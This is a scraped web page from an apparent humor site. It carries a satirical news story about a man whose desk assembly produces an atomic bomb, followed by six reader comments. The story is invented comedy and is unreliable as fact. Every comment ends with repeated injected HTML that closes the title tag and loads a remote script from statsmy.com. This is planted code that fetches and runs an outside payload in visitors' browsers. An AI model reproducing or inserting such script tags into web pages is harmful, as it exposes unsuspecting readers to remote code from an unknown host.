Fun Infused Games  |   Evil Scale  |   Wellplayed.net  |   KrisSteele.net  |   Starcraft Live  |   Fun Pages  |   Your ad here. Twitter RSS 
x
Logon
Register
     
x
     
Home  Archive  Search  Forum  Members  Subscribe  Links  About  Advertise
Man Attempting to Build Desk creates Atomic Bomb
by Kris on 11/2/2004 (6)

All this trouble from a little desk.
Following a tip provided by a neighbor, FBI Agents broke into a Delaware home earlier today and arrested the owner, Jerry Walsh, for possession of a nuclear weapon.

"This man had an atomic bomb in his den," said agent Ted Snyder. "He could have blown up the entire state."

Neighbors noticed something was suspicious when Walsh was overheard saying "Holy crap, I just built a friggen atomic bomb!"

"The walls here are paper thin, we hear everything," said longtime neighbor Sally Jefferson. "You should hear what this guy does with ducks when his wife is away, it's very disturbing."

"I'm going to kill Sally if I ever get out of here," said Walsh from his jail cell.

Earlier that day, Walsh had purchased a desk from the local Office WareHut, an office furniture store famous for its low prices and equally low IQed employees.

"We keep our prices low by hiring morons," often boasts Office WareHut founder and CEO Harry Sack.

According to reports, Walsh purchased a desk and brought it home to setup.

"When I opened the box and unpacked everything, the only instructions I had were written in ancient Egyptian Hieroglyphics," said Walsh. "I haven't taken Hieroglyphics since high school, that's over twenty years ago!"

Confused by the instructions, Walsh called up WareHut for assistance.

"They weren't much help, both people I spoke to would only help me if I bought them beer," said Walsh. "I just bought a desk today, I'm not made of money."

Walsh did the best that he could to decipher the instructions and put the desk together.

"It was like trying to make a tuna fish sandwich without the recipe," said Walsh. "I spent nearly sixty hours trying to build that desk."

When Walsh had finally completed what he hoped was a desk, he realized it was far from that which he had hoped it would be far nearer to.

"Drawing on my experiences with the Manhattan Project years ago, in which we created the first atomic bomb, I was easily able to distinguish what I had made," said Walsh. "This was definitely a fission bomb."

"Regardless of if he made it on purpose or not, the fact remains he had a nuclear weapon in his home and he did not intend to destroy it as required by the Tony Danza 'No Nukes' Agreement of 1996," said Snyder.

"When I opened the box and unpacked everything, the only instructions I had were written in ancient Egyptian Hieroglyphics. I haven't taken Hieroglyphics since high school, that's over twenty years ago!"
- Jerry Walsh
Created an atomic weapon from an unassembled desk.
"It didn't think it would hurt anything, I hadn't even armed it yet," said Walsh. "I just wanted to keep it at home as a doorstop or end table or maybe even a desk."

The nuclear weapon that Walsh created is currently in government po


Wellplayed.net


page has been viewed 23406 times


 
Comments

1. by Bjarni on 3/1/2007 4:52:29 PM
THIS IS NOT POSSIBLEisp </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
2. by Motz on 3/1/2007 4:52:29 PM
I made a dollar bill out of a copy machine once! </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
3. by Kris on 3/1/2007 4:52:29 PM
I made a meal out of toothpaste and gram crackers.i </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
4. by Bryan on 3/1/2007 4:52:29 PM
Yeah its fake lol look at the name CEO Harry Sack.i </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
5. by Bryan on 3/1/2007 4:52:29 PM
oo yeah and not to mention there is no such thing as that thing that said about tony "Regardless of if he made it on purpose or not, the fact remains he had a nuclear weapon in his home and he did not intend to destroy it as required by the Tony Danza 'No Nukes' Agreement of 1996," said Snyder. lol even that date of that so called agreement retardedt </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
6. by on 3/1/2007 4:52:29 PM
BULLSHIT No fucking way anybody who belives this shit is truly fuckin retardeduil </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>


Name
Comment
Verify
What animal is this a picture of?


x Enter the simple name for this animal... i.e., if you see a "north american grizzly bear", just enter "bear".
 
Surround you text with the following tags to use special formatting:
[B][/B] for Bold text.
[I][/I] for Italic text.
[QUOTE][/QUOTE] for a quote.

For example, in order to write "Smthop rules" in bold, you would enter: [B]Smthop rules[/B].



x
 
 
 


 
x

BetUS.com
 

 
x

More referrals |  Add Site
 

 
Business   Editorials   Education   Entertainment   Feature   Food   Health   Law   Politics   Religeon   Site News   Space   Sports   Tech   US News   Video Games   World News  
 

HumorFeed




Copyright 2010 Smooth Operator.
Website Design by SteeleITS - Privacy Policy